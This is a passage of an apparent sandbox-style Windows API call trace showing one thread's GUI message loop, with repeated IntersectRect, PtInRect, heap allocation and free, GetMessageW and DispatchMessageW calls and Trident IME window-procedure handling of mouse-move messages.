returned 1 [0084.289] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.289] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.289] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.289] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.289] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.289] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.289] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.289] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.289] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.289] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.290] GetCurrentThreadId () returned 0xcd8 [0084.290] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.290] GetCurrentThreadId () returned 0xcd8 [0084.290] GetCurrentThreadId () returned 0xcd8 [0084.290] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.290] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.290] NtdllDefWindowProc_W () returned 0x0 [0084.290] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.290] GetCurrentThreadId () returned 0xcd8 [0084.290] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.291] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.291] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.291] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.291] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.291] GetCurrentThreadId () returned 0xcd8 [0084.291] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.291] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.291] GetMessageTime () returned 212676 [0084.291] GetMessagePos () returned 0x218027c [0084.291] GetCapture () returned 0x0 [0084.291] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.291] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.291] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.291] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.291] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.291] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.291] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.291] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.291] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.291] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.292] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.292] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.292] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.292] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.292] GetCursor () returned 0x10003 [0084.292] GetCurrentThreadId () returned 0xcd8 [0084.292] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.292] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.292] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.292] GetMessageTime () returned 212691 [0084.292] GetMessagePos () returned 0x218027c [0084.292] GetCapture () returned 0x0 [0084.292] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.292] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.292] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.292] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.292] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.292] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.292] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.292] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.293] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.293] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.293] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.293] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.293] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.293] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.293] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.293] GetCurrentThreadId () returned 0xcd8 [0084.293] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.293] GetCurrentThreadId () returned 0xcd8 [0084.293] GetCurrentThreadId () returned 0xcd8 [0084.293] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.293] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.293] NtdllDefWindowProc_W () returned 0x0 [0084.294] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.294] GetCurrentThreadId () returned 0xcd8 [0084.294] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.294] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.294] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.294] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.294] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.294] GetCurrentThreadId () returned 0xcd8 [0084.294] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.294] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.294] GetMessageTime () returned 212691 [0084.294] GetMessagePos () returned 0x218027c [0084.294] GetCapture () returned 0x0 [0084.294] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.294] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.294] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.294] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.294] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.294] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.294] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.294] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.294] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.295] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.295] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.295] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.295] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.295] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.295] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.295] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.295] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.295] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.295] GetCursor () returned 0x10003 [0084.295] GetCurrentThreadId () returned 0xcd8 [0084.295] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.295] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.295] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.295] GetMessageTime () returned 212691 [0084.295] GetMessagePos () returned 0x218027c [0084.295] GetCapture () returned 0x0 [0084.295] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.295] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.295] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.295] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.296] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.296] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.296] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.296] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.296] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.296] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.296] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.296] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.296] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.296] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.296] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.296] GetCurrentThreadId () returned 0xcd8 [0084.296] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.297] GetCurrentThreadId () returned 0xcd8 [0084.297] GetCurrentThreadId () returned 0xcd8 [0084.297] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.297] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.297] NtdllDefWindowProc_W () returned 0x0 [0084.297] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.297] GetCurrentThreadId () returned 0xcd8 [0084.297] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.297] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.297] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.297] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.297] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.297] GetCurrentThreadId () returned 0xcd8 [0084.297] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.297] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.297] GetMessageTime () returned 212691 [0084.297] GetMessagePos () returned 0x218027c [0084.297] GetCapture () returned 0x0 [0084.298] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.298] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.298] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.298] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.298] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.298] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.298] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.298] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.298] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.298] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.298] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.298] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.298] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.298] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.298] GetCursor () returned 0x10003 [0084.298] GetCurrentThreadId () returned 0xcd8 [0084.298] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.298] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.298] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.299] GetMessageTime () returned 212691 [0084.299] GetMessagePos () returned 0x218027c [0084.299] GetCapture () returned 0x0 [0084.299] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.299] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.299] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.299] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.299] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.299] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.299] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.299] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.299] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.299] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.299] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.300] GetCurrentThreadId () returned 0xcd8 [0084.300] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.300] GetCurrentThreadId () returned 0xcd8 [0084.300] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.300] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.300] NtdllDefWindowProc_W () returned 0x0 [0084.300] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.300] GetCurrentThreadId () returned 0xcd8 [0084.300] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.301] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.301] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.301] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.301] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.301] GetCurrentThreadId () returned 0xcd8 [0084.301] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.301] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.301] GetMessageTime () returned 212691 [0084.301] GetMessagePos () returned 0x218027c [0084.301] GetCapture () returned 0x0 [0084.301] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30ed9c, 